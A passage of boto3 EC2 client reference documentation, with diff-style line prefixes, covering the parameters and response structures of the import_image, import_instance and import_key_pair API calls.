Compute Cloud User Guide_ . +* **Hypervisor** (_string_) -- + + The target hypervisor platform. + + Valid values: xen + +* **KmsKeyId** (_string_) -- + + An identifier for the symmetric AWS Key Management Service (AWS KMS) customer master key (CMK) to use when creating the encrypted AMI. This parameter is only required if you want to use a non-default CMK; if this parameter is not specified, the default CMK for EBS is used. If a KmsKeyId is specified, the Encrypted flag must also be set. + + The CMK identifier may be provided in any of the following formats: + + * Key ID + * Key alias. The alias ARN contains the arn:aws:kms namespace, followed by the Region of the CMK, the AWS account ID of the CMK owner, the alias namespace, and then the CMK alias. For example, arn:aws:kms:_us-east-1_ :_012345678910_ :alias/_ExampleAlias_ . + * ARN using key ID. The ID ARN contains the arn:aws:kms namespace, followed by the Region of the CMK, the AWS account ID of the CMK owner, the key namespace, and then the CMK ID. For example, arn:aws:kms:_us-east-1_ :_012345678910_ :key/_abcd1234-a123-456a-a12b-a123b4cd56ef_ . + * ARN using key alias. The alias ARN contains the arn:aws:kms namespace, followed by the Region of the CMK, the AWS account ID of the CMK owner, the alias namespace, and then the CMK alias. For example, arn:aws:kms:_us-east-1_ :_012345678910_ :alias/_ExampleAlias_ . + + AWS parses KmsKeyId asynchronously, meaning that the action you call may appear to complete even though you provided an invalid identifier. This action will eventually report failure. + + The specified CMK must exist in the Region that the AMI is being copied to. + + Amazon EBS does not support asymmetric CMKs. + +* **LicenseType** (_string_) -- + + The license type to be used for the Amazon Machine Image (AMI) after importing. + + By default, we detect the source-system operating system (OS) and apply the appropriate license. Specify AWS to replace the source-system license with an AWS license, if appropriate. Specify BYOL to retain the source-system license, if appropriate. + + To use BYOL , you must have existing licenses with rights to use these licenses in a third party cloud, such as AWS. For more information, see [Prerequisites](https://docs.aws.amazon.com/vm-import/latest/userguide/vmimport-image-import.html#prerequisites-image) in the VM Import/Export User Guide. + +* **Platform** (_string_) -- + + The operating system of the virtual machine. + + Valid values: Windows | Linux + +* **RoleName** (_string_) -- The name of the role to use when not using the default role, 'vmimport'. +* **LicenseSpecifications** (_list_) -- + + The ARNs of the license configurations. + + * _(dict) --_ + + The request information of license configurations. + + * **LicenseConfigurationArn** _(string) --_ + + The ARN of a license configuration. + +* **TagSpecifications** (_list_) -- + + The tags to apply to the image being imported. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id528)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id530)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Architecture': 'string', + 'Description': 'string', + 'Encrypted': True|False, + 'Hypervisor': 'string', + 'ImageId': 'string', + 'ImportTaskId': 'string', + 'KmsKeyId': 'string', + 'LicenseType': 'string', + 'Platform': 'string', + 'Progress': 'string', + 'SnapshotDetails': [ + { + 'Description': 'string', + 'DeviceName': 'string', + 'DiskImageSize': 123.0, + 'Format': 'string', + 'Progress': 'string', + 'SnapshotId': 'string', + 'Status': 'string', + 'StatusMessage': 'string', + 'Url': 'string', + 'UserBucket': { + 'S3Bucket': 'string', + 'S3Key': 'string' + } + }, + ], + 'Status': 'string', + 'StatusMessage': 'string', + 'LicenseSpecifications': [ + { + 'LicenseConfigurationArn': 'string' + }, + ], + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **Architecture** _(string) --_ + + The architecture of the virtual machine. + + * **Description** _(string) --_ + + A description of the import task. + + * **Encrypted** _(boolean) --_ + + Indicates whether the AMI is encrypted. + + * **Hypervisor** _(string) --_ + + The target hypervisor of the import task. + + * **ImageId** _(string) --_ + + The ID of the Amazon Machine Image (AMI) created by the import task. + + * **ImportTaskId** _(string) --_ + + The task ID of the import image task. + + * **KmsKeyId** _(string) --_ + + The identifier for the symmetric AWS Key Management Service (AWS KMS) customer master key (CMK) that was used to create the encrypted AMI. + + * **LicenseType** _(string) --_ + + The license type of the virtual machine. + + * **Platform** _(string) --_ + + The operating system of the virtual machine. + + * **Progress** _(string) --_ + + The progress of the task. + + * **SnapshotDetails** _(list) --_ + + Information about the snapshots. + + * _(dict) --_ + + Describes the snapshot created from the imported disk. + + * **Description** _(string) --_ + + A description for the snapshot. + + * **DeviceName** _(string) --_ + + The block device mapping for the snapshot. + + * **DiskImageSize** _(float) --_ + + The size of the disk in the snapshot, in GiB. + + * **Format** _(string) --_ + + The format of the disk image from which the snapshot is created. + + * **Progress** _(string) --_ + + The percentage of progress for the task. + + * **SnapshotId** _(string) --_ + + The snapshot ID of the disk being imported. + + * **Status** _(string) --_ + + A brief status of the snapshot creation. + + * **StatusMessage** _(string) --_ + + A detailed status message for the snapshot creation. + + * **Url** _(string) --_ + + The URL used to access the disk image. + + * **UserBucket** _(dict) --_ + + The Amazon S3 bucket for the disk image. + + * **S3Bucket** _(string) --_ + + The Amazon S3 bucket from which the disk image was created. + + * **S3Key** _(string) --_ + + The file name of the disk image. + + * **Status** _(string) --_ + + A brief status of the task. + + * **StatusMessage** _(string) --_ + + A detailed status message of the import task. + + * **LicenseSpecifications** _(list) --_ + + The ARNs of the license configurations. + + * _(dict) --_ + + The response information for license configurations. + + * **LicenseConfigurationArn** _(string) --_ + + The ARN of a license configuration. + + * **Tags** _(list) --_ + + Any tags assigned to the image being imported. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +import_instance(kwargs_) + +Creates an import instance task using metadata from the specified disk image. ImportInstance only supports single-volume VMs. To import multi-volume VMs, use ImportImage . For more information, see [Importing a Virtual Machine Using the Amazon EC2 CLI](https://docs.aws.amazon.com/AWSEC2/latest/CommandLineReference/ec2-cli-vmimport-export.html) . + +For information about the import manifest referenced by this API action, see [VM Import Manifest](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/manifest.html) . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ImportInstance) + +**Request Syntax** + +response = client.import_instance( + Description='string', + DiskImages=[ + { + 'Description': 'string', + 'Image': { + 'Bytes': 123, + 'Format': 'VMDK'|'RAW'|'VHD', + 'ImportManifestUrl': 'string' + }, + 'Volume': { + 'Size': 123 + } + }, + ], + DryRun=True|False, + LaunchSpecification={ + 'AdditionalInfo': 'string', + 'Architecture': 'i386'|'x86_64'|'arm64', + 'GroupIds': [ + 'string', + ], + 'GroupNames': [ + 'string', + ], + 'InstanceInitiatedShutdownBehavior': 'stop'|'terminate', + 'InstanceType': 't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + 'Monitoring': True|False, + 'Placement': { + 'AvailabilityZone': 'string', + 'Affinity': 'string', + 'GroupName': 'string', + 'PartitionNumber': 123, + 'HostId': 'string', + 'Tenancy': 'default'|'dedicated'|'host', + 'SpreadDomain': 'string', + 'HostResourceGroupArn': 'string' + }, + 'PrivateIpAddress': 'string', + 'SubnetId': 'string', + 'UserData': { + 'Data': 'string' + } + }, + Platform='Windows' +) + +Parameters + +* **Description** (_string_) -- A description for the instance being imported. +* **DiskImages** (_list_) -- + + The disk image. + + * _(dict) --_ + + Describes a disk image. + + * **Description** _(string) --_ + + A description of the disk image. + + * **Image** _(dict) --_ + + Information about the disk image. + + * **Bytes** _(integer) --_ **[REQUIRED]** + + The size of the disk image, in GiB. + + * **Format** _(string) --_ **[REQUIRED]** + + The disk image format. + + * **ImportManifestUrl** _(string) --_ **[REQUIRED]** + + A presigned URL for the import manifest stored in Amazon S3 and presented here as an Amazon S3 presigned URL. For information about creating a presigned URL for an Amazon S3 object, read the "Query String Request Authentication Alternative" section of the [Authenticating REST Requests](https://docs.aws.amazon.com/AmazonS3/latest/dev/RESTAuthentication.html) topic in the _Amazon Simple Storage Service Developer Guide_ . + + For information about the import manifest referenced by this API action, see [VM Import Manifest](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/manifest.html) . + + * **Volume** _(dict) --_ + + Information about the volume. + + * **Size** _(integer) --_ **[REQUIRED]** + + The size of the volume, in GiB. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **LaunchSpecification** (_dict_) -- + + The launch specification. + + * **AdditionalInfo** _(string) --_ + + Reserved. + + * **Architecture** _(string) --_ + + The architecture of the instance. + + * **GroupIds** _(list) --_ + + The security group IDs. + + * _(string) --_ + * **GroupNames** _(list) --_ + + The security group names. + + * _(string) --_ + * **InstanceInitiatedShutdownBehavior** _(string) --_ + + Indicates whether an instance stops or terminates when you initiate shutdown from the instance (using the operating system command for system shutdown). + + * **InstanceType** _(string) --_ + + The instance type. For more information about the instance types that you can import, see [Instance Types](https://docs.aws.amazon.com/vm-import/latest/userguide/vmie_prereqs.html#vmimport-instance-types) in the VM Import/Export User Guide. + + * **Monitoring** _(boolean) --_ + + Indicates whether monitoring is enabled. + + * **Placement** _(dict) --_ + + The placement information for the instance. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone of the instance. + + If not specified, an Availability Zone will be automatically chosen for you based on the load balancing criteria for the Region. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **Affinity** _(string) --_ + + The affinity setting for the instance on the Dedicated Host. This parameter is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **GroupName** _(string) --_ + + The name of the placement group the instance is in. + + * **PartitionNumber** _(integer) --_ + + The number of the partition the instance is in. Valid only if the placement group strategy is set to partition . + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **HostId** _(string) --_ + + The ID of the Dedicated Host on which the instance resides. This parameter is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **Tenancy** _(string) --_ + + The tenancy of the instance (if the instance is running in a VPC). An instance with a tenancy of dedicated runs on single-tenant hardware. The host tenancy is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **SpreadDomain** _(string) --_ + + Reserved for future use. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **HostResourceGroupArn** _(string) --_ + + The ARN of the host resource group in which to launch the instances. If you specify a host resource group ARN, omit the **Tenancy** parameter or set it to host . + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + * **PrivateIpAddress** _(string) --_ + + [EC2-VPC] An available IP address from the IP address range of the subnet. + + * **SubnetId** _(string) --_ + + [EC2-VPC] The ID of the subnet in which to launch the instance. + + * **UserData** _(dict) --_ + + The Base64-encoded user data to make available to the instance. + + * **Data** _(string) --_ + + The user data. If you are using an AWS SDK or command line tool, Base64-encoding is performed for you, and you can load the text from a file. Otherwise, you must provide Base64-encoded text. + +* **Platform** (_string_) -- + + **[REQUIRED]** + + The instance operating system. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ConversionTask': { + 'ConversionTaskId': 'string', + 'ExpirationTime': 'string', + 'ImportInstance': { + 'Description': 'string', + 'InstanceId': 'string', + 'Platform': 'Windows', + 'Volumes': [ + { + 'AvailabilityZone': 'string', + 'BytesConverted': 123, + 'Description': 'string', + 'Image': { + 'Checksum': 'string', + 'Format': 'VMDK'|'RAW'|'VHD', + 'ImportManifestUrl': 'string', + 'Size': 123 + }, + 'Status': 'string', + 'StatusMessage': 'string', + 'Volume': { + 'Id': 'string', + 'Size': 123 + } + }, + ] + }, + 'ImportVolume': { + 'AvailabilityZone': 'string', + 'BytesConverted': 123, + 'Description': 'string', + 'Image': { + 'Checksum': 'string', + 'Format': 'VMDK'|'RAW'|'VHD', + 'ImportManifestUrl': 'string', + 'Size': 123 + }, + 'Volume': { + 'Id': 'string', + 'Size': 123 + } + }, + 'State': 'active'|'cancelling'|'cancelled'|'completed', + 'StatusMessage': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + * **ConversionTask** _(dict) --_ + + Information about the conversion task. + + * **ConversionTaskId** _(string) --_ + + The ID of the conversion task. + + * **ExpirationTime** _(string) --_ + + The time when the task expires. If the upload isn't complete before the expiration time, we automatically cancel the task. + + * **ImportInstance** _(dict) --_ + + If the task is for importing an instance, this contains information about the import instance task. + + * **Description** _(string) --_ + + A description of the task. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **Platform** _(string) --_ + + The instance operating system. + + * **Volumes** _(list) --_ + + The volumes. + + * _(dict) --_ + + Describes an import volume task. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone where the resulting instance will reside. + + * **BytesConverted** _(integer) --_ + + The number of bytes converted so far. + + * **Description** _(string) --_ + + A description of the task. + + * **Image** _(dict) --_ + + The image. + + * **Checksum** _(string) --_ + + The checksum computed for the disk image. + + * **Format** _(string) --_ + + The disk image format. + + * **ImportManifestUrl** _(string) --_ + + A presigned URL for the import manifest stored in Amazon S3. For information about creating a presigned URL for an Amazon S3 object, read the "Query String Request Authentication Alternative" section of the [Authenticating REST Requests](https://docs.aws.amazon.com/AmazonS3/latest/dev/RESTAuthentication.html) topic in the _Amazon Simple Storage Service Developer Guide_ . + + For information about the import manifest referenced by this API action, see [VM Import Manifest](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/manifest.html) . + + * **Size** _(integer) --_ + + The size of the disk image, in GiB. + + * **Status** _(string) --_ + + The status of the import of this particular disk image. + + * **StatusMessage** _(string) --_ + + The status information or errors related to the disk image. + + * **Volume** _(dict) --_ + + The volume. + + * **Id** _(string) --_ + + The volume identifier. + + * **Size** _(integer) --_ + + The size of the volume, in GiB. + + * **ImportVolume** _(dict) --_ + + If the task is for importing a volume, this contains information about the import volume task. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone where the resulting volume will reside. + + * **BytesConverted** _(integer) --_ + + The number of bytes converted so far. + + * **Description** _(string) --_ + + The description you provided when starting the import volume task. + + * **Image** _(dict) --_ + + The image. + + * **Checksum** _(string) --_ + + The checksum computed for the disk image. + + * **Format** _(string) --_ + + The disk image format. + + * **ImportManifestUrl** _(string) --_ + + A presigned URL for the import manifest stored in Amazon S3. For information about creating a presigned URL for an Amazon S3 object, read the "Query String Request Authentication Alternative" section of the [Authenticating REST Requests](https://docs.aws.amazon.com/AmazonS3/latest/dev/RESTAuthentication.html) topic in the _Amazon Simple Storage Service Developer Guide_ . + + For information about the import manifest referenced by this API action, see [VM Import Manifest](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/manifest.html) . + + * **Size** _(integer) --_ + + The size of the disk image, in GiB. + + * **Volume** _(dict) --_ + + The volume. + + * **Id** _(string) --_ + + The volume identifier. + + * **Size** _(integer) --_ + + The size of the volume, in GiB. + + * **State** _(string) --_ + + The state of the conversion task. + + * **StatusMessage** _(string) --_ + + The status message related to the conversion task. + + * **Tags** _(list) --_ + + Any tags assigned to the task. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +import_key_pair(kwargs_) + +Imports the public key from an RSA key pair that you created with a third-party tool. Compare this with CreateKeyPair , in which AWS creates the key pair and gives the keys to you (AWS keeps a copy of the public key). With ImportKeyPair, you create the key pair and give AWS just the public key. The private key is never transferred between you and AWS. + +For more information about key pairs, see [Key Pairs](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-key-pairs.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ImportKeyPair) + +**Request Syntax** + +response = client.import_key_pair( + DryRun=True|False, + KeyName='string', + PublicKeyMaterial=b'bytes', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **KeyName** (_string_) -- + + **[REQUIRED]** + + A unique name for the key pair. + +* **PublicKeyMaterial** (_bytes_) -- + + **[REQUIRED]** + + The public key. For API calls, the text must be base64-encoded. For command line tools, base64 encoding is performed for you. + +* **TagSpecifications** (_list_) -- + + The tags to apply to the imported key pair. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id534)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id536)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'KeyFingerprint': 'string', + 'KeyName': 'string', + 'KeyPairId': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **KeyFingerprint** _(string) --_ + + The MD5 public key fingerprint as specified in section 4 of RFC 4716. + + * **KeyName** _(string) --_ + + The key pair name you provided. + + * **KeyPairId** _(string) --_ + + The ID of the resulting key pair. + + * **Tags** _(list) --_ + + The tags applied to the imported key pair. + + * _(dict) --_ + + Describes a tag. + + * 